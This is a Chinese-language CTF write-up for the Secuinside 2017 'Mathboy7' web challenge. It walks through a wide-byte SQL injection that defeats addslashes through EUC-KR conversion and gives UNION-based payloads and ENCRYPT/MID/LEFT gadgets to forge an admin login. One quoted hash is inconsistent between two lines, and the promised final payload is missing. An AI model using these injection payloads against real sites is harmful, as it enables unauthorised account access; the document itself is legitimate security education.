Secuinside CTF 2017 Writeup

目錄

  1. Web 415: Mathboy7 (SQL wide-byte injection)


Web 415: Mathboy7

0x00. 背景

這個 challenge 只有 index.php 跟 flag.php,任務是要通過 SQL injection 來得到 flag。

0x01. 思路與題解

發現第十二行有一個問題: $id = mb_convert_encoding($id, 'utf-8', 'euc-kr'); - 好端端的為甚麼要把 user id 由 EUC-KR 轉換為 UTF-8 呢?

如果把它跟第十行的 $id = addslashes($_GET['id']); 搭成一個 combo 的話, %A1%5C 首先會變成 %A1%5C%5C ( %A1\\),然後經過轉換後再變成 ?\ ( %A1\ 會被偵測為一個 EUC-KR 字符,然而找不到有甚麼對應,所以會變成 ?)。

在這個時候,payload 會變成 SELECT * FROM user WHERE id='?\' AND pw='{$pw}';

問題好像變得很簡單:我們只需要找到 admin 的帳號就可以了。現在的任務就是在 $pw 試出一個成功的 injection。

嘗試了 $pw = " or id=id -- "; ( SELECT * FROM user WHERE id='?\' AND pw=' or id=id -- ';),沒有顯示出任何 id… 因為 user 的表格是空的。

目標 1:續寫本來的 SQL 請求,既不使用 $filter 裡面的字串,也不使用數字,把 “admin” 拼出來。

作出了以下嘗試:

  • SELECT * FROM user WHERE id='?\' AND pw=' UNION SELECT true, true, true -- ';,輸出 your id : 1:user 有三個欄位。
  • SELECT * FROM user WHERE id='?\' AND pw=' UNION SELECT true, true + true, true + true + true -- ';,輸出 your id : 1:確定我們要把 “admin” 寫到第一個欄位上面。

發現了 ENCRYPT(str, salt) 這個函數 - 它可以生成固定字串,同時也沒有被過濾掉。

看看幾個例子 (這是在自己的伺服器嘗試的,所以不受限制):

  1. SELECT ENCRYPT('a','a');,輸出 NULL (salt 最少要兩個字元)。
  2. SELECT ENCRYPT('a','aa');,輸出 aafKPWZb/dLAs
  3. SELECT ENCRYPT('a','ab');,輸出 abxxB7HlIeckU
  4. SELECT ENCRYPT('b','aa');,輸出 aaqsKKc7oM7ek
  5. SELECT ENCRYPT('b','ab');,輸出 aba/A2/wC9TVk
  6. SELECT ENCRYPT(1, 11);,輸出 11b0WGZJEBWiw (很重要!這說明了 encrypt 也可以輸入數字)。

明眼人會發現 ENCRYPT(str, salt) 的首兩個字就是 salt!由於 LEFTMID 都沒有在黑名單上面,所以我們可以確定最終目標。

目標 2:找出 \(x\) 跟 \(y\) 使得 ENCRYPT(x, y) 包含 ad 兩個字 (大小寫不拘),用 MID(str, pos, len)ad 剪下來,最後再找出 \(z\) 使得 ENCRYPT(z, 'ad') 左邊的五個字為 admin

跟據上面的思路寫了一段 script,我們得到以下 gadgets:

  1. SELECT ENCRYPT(1, 25); 的輸出是  25GkjpbHAd./o
  2. SELECT MID('256kjpbHAd./o', 9, 2); 的輸出是  Ad
  3. SELECT ENCRYPT(4680, 'Ad'); 的輸出是  AdMiNXu4hnTRA
  4. SELECT LEFT('AdMiNXu4hnTRA', 5); 的輸出是  AdMiN

所以  SELECT LEFT(ENCRYPT(4680, MID(ENCRYPT(1, 25), 9, 2)), 5); 的輸出是 AdMiN

把裡面的所有數字弄走:

  • 1 換成  true
  • 2 換成 true+true
  • 5 換成 ceil(pi()+true)
  • 9 換成 floor(pi())*floor(pi())
  • 25 換成 ceil(pi()+true)*ceil(pi()+true)
  • 4680 換成 power(true+true,ceil(pi())*floor(pi()))+power(true+true,floor(pi())*floor(pi()))+(true+true)*power(floor(pi())*(true+true),true+true)

得出最終結果:

把結果結合起來,算出登入到 admin 帳號的 attack vector,得到 flag。


發表迴響